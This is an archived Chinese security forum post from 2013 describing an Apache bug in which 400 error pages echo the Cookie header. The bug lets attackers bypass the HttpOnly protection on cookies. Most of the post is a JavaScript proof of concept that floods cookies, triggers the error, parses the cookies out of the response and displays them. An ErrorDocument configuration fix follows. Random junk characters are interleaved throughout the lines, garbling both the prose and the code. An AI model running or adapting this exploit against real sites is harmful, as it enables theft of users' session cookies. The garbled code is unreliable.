找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2858|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 H8 d. s' u* T1 Y0 F, j7 v8 Z8 U& w
& F6 C( p; g" x7 q8 a用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
7 T" }! L* ~) B$ V' m, ~- c4 b* P9 r
* H6 E, ]4 Q1 R2 t% L& Z2 x' Z" m4 e9 Z0 W( s* K- a
// http://www.exploit-db.com/exploits/18442/( T0 R! h0 B# |# j
function setCookies (good) {
$ F# h$ @% e2 `& D: W// Construct string for cookie value
; q- ]8 T- M/ K4 Z2 i; ~- Evar str = "";
, f- G  [" k: t; f, B6 D, X8 zfor (var i=0; i< 819; i++) {" x; `$ z; T, R; d' g; `
str += "x";
; {! N' n" x! Q& p' _5 ~3 J% h}
% F* `4 C- B3 w& w5 X6 S  x  W  w6 o// Set cookies, J- i" s7 y2 @' A# P( r1 E  N! P
for (i = 0; i < 10; i++) {) B' F, ?- `) y+ P* |
// Expire evil cookie7 i7 D; _, Y4 F! v* C  P6 e: |
if (good) {1 b/ }9 F/ ^. H% a$ P
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";/ B5 h0 `0 g5 y0 P
}* j* A6 @, r; ~. T  K9 y' r
// Set evil cookie
/ _+ Y! V$ C2 y$ y1 D; H# Xelse {
- i3 b' j. r7 X( {# W9 L( Rvar cookie = "xss"+i+"="+str+";path=/";
' U" F* x8 j8 H& v0 V0 Z  S}
6 T5 e4 I) M6 ]( h5 Hdocument.cookie = cookie;4 w/ _+ Z" N2 z
}- T) ~$ K; W) _6 Z, X+ \1 X
}5 M2 c4 r! `, m; k. d4 t
function makeRequest() {
) U5 ^* K" E: ~! h/ a8 q: }setCookies();
& w. ]1 \3 L8 Q0 I8 Pfunction parseCookies () {9 g0 F/ X7 m4 g% V9 Z6 I6 j
var cookie_dict = {};
2 Y8 Z8 X; a; T4 P1 ?1 K// Only react on 400 status& W: T4 G' i9 V9 P* E
if (xhr.readyState === 4 && xhr.status === 400) {$ C# V$ Q3 ?2 ]. g4 b/ X2 }
// Replace newlines and match <pre> content
' H8 X9 V9 f$ h! e7 Rvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);) A$ N2 n& l' H2 b
if (content.length) {
' n: L* `. P1 h& f/ V. w+ Y// Remove Cookie: prefix
' @. K3 J8 U4 b# O( M; vcontent = content[1].replace("Cookie: ", "");
9 k' i2 k: p! S# w5 |var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);6 x) K, {% g2 r5 g0 l2 f8 C
// Add cookies to object
! |9 R1 [) e. W! |% A3 Gfor (var i=0; i<cookies.length; i++) {
; A5 B; t9 l+ `# F. j+ s( ^var s_c = cookies.split('=',2);
- V$ Z! ?! k7 d$ E6 Lcookie_dict[s_c[0]] = s_c[1];
. Y4 ^5 P2 T$ D/ U# U* N# d}
& _; e6 Z- _3 T7 ], G* t}
& m3 i9 [* P4 h/ m// Unset malicious cookies# h/ s. l+ F- s0 Q1 h
setCookies(true);
# A1 o2 |" y2 I  c1 D/ valert(JSON.stringify(cookie_dict));% y/ `4 Y- S4 I- \! ~$ e) G9 f, m
}3 U! {6 N1 f) f2 d5 ?
}& q3 s* ]9 J6 D4 [( h: i" z, j
// Make XHR request( a3 V8 {& q/ D& w4 y& F
var xhr = new XMLHttpRequest();" |2 p7 G4 ^# h  d: N- E# [) z9 v
xhr.onreadystatechange = parseCookies;
( a# H5 `/ b- t* d# u  P/ y9 }xhr.open("GET", "/", true);
* \/ n2 z- f# R0 K7 B& hxhr.send(null);
. @" R/ X, y- I' h4 C  L}4 @( y. Z3 i* u. B! l! }! f
makeRequest();
+ {, E. Q  u# I+ i: g, f- ]$ ~: U$ K
8 h5 ?& O$ W- t; @+ d. I% h2 h你就能看见华丽丽的400错误包含着cookie信息。) C/ \& k+ c, U/ F3 e" M

5 u5 T; B8 s7 r7 a4 p2 O下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#9 q: l' l% f9 e
8 N' {2 ^7 f4 T/ n
修复方案:4 b1 S) S5 T! W5 B
1 x; f4 `6 i8 T' c, t3 s4 S" R7 I
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
' Z+ I& c/ ]% f( C8 @7 }0 T& |  O, N, ^% J
In the event of a problem or error, Apachecan be configured to do one of four things,% V: S- P6 Q# t7 ]+ _+ e

* G! u" h. B3 ?* s5 c! s6 X1. output asimple hardcoded error message输出一个简单生硬的错误代码信息8 [8 o2 u# B$ r2 F3 O  s, x' Q- n
2. output acustomized message输出一段信息4 {; A/ m* }; b) n
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 8 ^3 _) k0 g4 B3 x0 E5 W% M+ j
4. redirect to an external URL to handle theproblem/error转向一个外部URL
: O8 D7 U6 ]+ m. g6 w
6 V, r( o/ m& j' ], |6 u$ y经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容' L+ z% A& n. |* g

' _& d. d- \" K* E# |$ [' B# oApache配置:
3 Q& \2 y' D, O6 V) e) c! @
; o: d2 v) G0 G$ a4 lErrorDocument400 " security test"
" o3 D2 G1 t0 q! R( ?7 y
& G# G3 u- B7 y; t, ?$ K* }当然,升级apache到最新也可:)。: D# V# \$ m/ h5 H
, v- t0 f3 s3 d7 _
参考:http://httpd.apache.org/security/vulnerabilities_22.html+ V% M5 t+ z; C$ |2 h) z( @, X

, T1 v& D. c/ _6 o4 h# n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表